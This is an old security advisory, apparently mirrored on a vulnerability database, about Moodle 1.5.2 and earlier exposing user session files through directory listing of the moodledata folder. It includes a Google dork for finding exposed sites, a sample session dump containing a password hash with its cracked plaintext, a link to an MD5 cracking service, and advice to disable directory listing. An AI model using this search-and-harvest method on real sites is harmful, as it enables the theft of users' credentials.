Moodle <= 1.5.2 (moodledata) Remote Session Disclosure Vulnerability

🗓️ 19 Mar 2007 00:00:00Reported by RootType

Moodle <= 1.5.2 Remote Session Disclosure Vulnerability. Moodle.org is a course management system to help educators create online learning communities. Vulnerability allows reading user passwords in md5 hash. Vulnerable to remote session disclosure


                                                --/&nbsp;INTRODUCTION&nbsp;&nbsp;--


/*
&nbsp;*
&nbsp;*&nbsp;Advisory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;MOODLE&nbsp;&lt;=&nbsp;1.5.2&nbsp;user&nbsp;password&nbsp;read&nbsp;out
&nbsp;*&nbsp;Release&nbsp;Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;17.&nbsp;March&nbsp;2007
&nbsp;*&nbsp;Application&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Moodle.org&nbsp;is&nbsp;a&nbsp;course&nbsp;management&nbsp;system&nbsp;(CMS)&nbsp;
&nbsp;*		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:	to&nbsp;help&nbsp;educators&nbsp;create&nbsp;effective&nbsp;online&nbsp;learning&nbsp;communities.
&nbsp;*&nbsp;Impact&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;read&nbsp;out&nbsp;user&nbsp;account&nbsp;passwords&nbsp;in&nbsp;md5&nbsp;hash
&nbsp;*&nbsp;Googledork	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&quot;inurl:moodledata&quot;
&nbsp;*&nbsp;Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;xSh[at]overclock.ch
&nbsp;*
&nbsp;*/


--/&nbsp;&nbsp;&nbsp;&nbsp;SUMMARY&nbsp;&nbsp;&nbsp;&nbsp;--

Moodle&nbsp;is&nbsp;a&nbsp;course&nbsp;management&nbsp;system&nbsp;(CMS)&nbsp;-&nbsp;a&nbsp;free,&nbsp;Open&nbsp;Source&nbsp;
software&nbsp;package&nbsp;designed&nbsp;using&nbsp;sound&nbsp;pedagogical&nbsp;principles,&nbsp;to&nbsp;
help&nbsp;educators&nbsp;create&nbsp;effective&nbsp;online&nbsp;learning&nbsp;communities.&nbsp;You&nbsp;
can&nbsp;download&nbsp;and&nbsp;use&nbsp;it&nbsp;on&nbsp;any&nbsp;computer&nbsp;you&nbsp;have&nbsp;handy&nbsp;(including&nbsp;
webhosts),&nbsp;yet&nbsp;it&nbsp;can&nbsp;scale&nbsp;from&nbsp;a&nbsp;single-teacher&nbsp;site&nbsp;to&nbsp;a&nbsp;
50,000-student&nbsp;University.&nbsp;(www.moodle.org)


--/&nbsp;&nbsp;&nbsp;REPRODUCE&nbsp;&nbsp;&nbsp;--

The&nbsp;moodle&nbsp;CMS&nbsp;is&nbsp;located&nbsp;at&nbsp;'www.TARGET.com/moodle'&nbsp;and&nbsp;the&nbsp;moodle
database&nbsp;at&nbsp;'www.TARGET.com/moodledata'&nbsp;including&nbsp;uploads,&nbsp;temp&nbsp;and
session&nbsp;files.&nbsp;We're&nbsp;interested&nbsp;to&nbsp;get&nbsp;the&nbsp;session&nbsp;files,&nbsp;created&nbsp;
by&nbsp;each&nbsp;user:

http://www.TARGET.com/moodledata/sessions/

Filename:

sess_280c9fca6458bf24277cf03c45d2a770

Content:&nbsp;(&gt;&nbsp;2KB)

SESSION|O:6:&quot;object&quot;:12:{s:12:&quot;session_test&quot;;s:10:&quot;zN0PiMhwWK&quot;;s:8:&quot;encoding&quot;;
s:10:&quot;iso-8859-1&quot;;s:7:&quot;fromurl&quot;;s:69:&quot;http://www.TARGET.com/moodle/mod/forum/
view.php?id=100&quot;;s:10:&quot;logincount&quot;;i:1;s:18:&quot;cal_course_referer&quot;;i:0;s:15:&quot;cal
_show_global&quot;;b:1;s:15:&quot;cal_show_groups&quot;;b:1;s:15:&quot;cal_show_course&quot;;b:1;s:13:&quot;
cal_show_user&quot;;b:1;s:17:&quot;cal_courses_shown&quot;;a:2:{i:1;b:1;i:9;b:1;}s:15:&quot;cal_u
sers_shown&quot;;s:2:&quot;86&quot;;s:14:&quot;fromdiscussion&quot;;s:64:&quot;http://www.TARGET.com/moodle/
course/view.php?id=9&quot;;}USER|O:8:&quot;stdClass&quot;:94:{i:0;s:2:&quot;86&quot;;s:2:&quot;id&quot;;s:2:&quot;86&quot;;
i:1;s:5:&quot;email&quot;;s:4:&quot;auth&quot;;s:5:&quot;email&quot;;i:2;s:1:&quot;1&quot;;s:9:&quot;confirmed&quot;;s:1:&quot;1&quot;;i:
3;s:1:&quot;0&quot;;s:12:&quot;policyagreed&quot;;s:1:&quot;0&quot;;i:4;s:1:&quot;0&quot;;s:7:&quot;deleted&quot;;s:1:&quot;0&quot;;i:5;s:
33:&quot;[email protected]&quot;;s:8:&quot;username&quot;;s:33:&quot;[email protected]&quot;;i:6;s:32:&quot;bb07c
989b57c25fd7e53395c3e118185&quot;;s:8:&quot;password&quot;;s:32:&quot;bb07c989b57c25fd7e53395c3e118185&quot;;
i:7;N;s:8:&quot;idnumber&quot;;N;i:8;s:9:&quot;Victim&quot;;s:9:&quot;firstname&quot;;s:9:&quot;Victim&quot;;i:9;s:5:
&quot;Victim&quot;;s:8:&quot;lastname&quot;;s:5:&quot;Victim&quot;;i:10;s:33:&quot;[email protected]&quot;;s:5:&quot;email&quot;;


In&nbsp;cryptography,&nbsp;MD5&nbsp;(Message-Digest&nbsp;algorithm&nbsp;5)&nbsp;is&nbsp;a&nbsp;widely-used&nbsp;cryptographic&nbsp;
hash&nbsp;function&nbsp;with&nbsp;a&nbsp;128-bit&nbsp;hash&nbsp;value.&nbsp;(md5&nbsp;online&nbsp;crack:&nbsp;http://gdataonline.com)

Password&nbsp;(md5&nbsp;string)&nbsp;=&nbsp;bb07c989b57c25fd7e53395c3e118185
Password&nbsp;(plain&nbsp;text)&nbsp;=&nbsp;Claudia


--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PATCH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/--

Don't&nbsp;allow&nbsp;Directory&nbsp;listing.&nbsp;There&nbsp;are&nbsp;no&nbsp;other&nbsp;possibilities&nbsp;actually&nbsp;as&nbsp;far&nbsp;as&nbsp;I&nbsp;know.

19 Mar 2007 00:00Current

7.1High risk

Vulners AI Score7.1

Moodle &lt;= 1.5.2 (moodledata) Remote Session Disclosure Vulnerability

Moodle <= 1.5.2 (moodledata) Remote Session Disclosure Vulnerability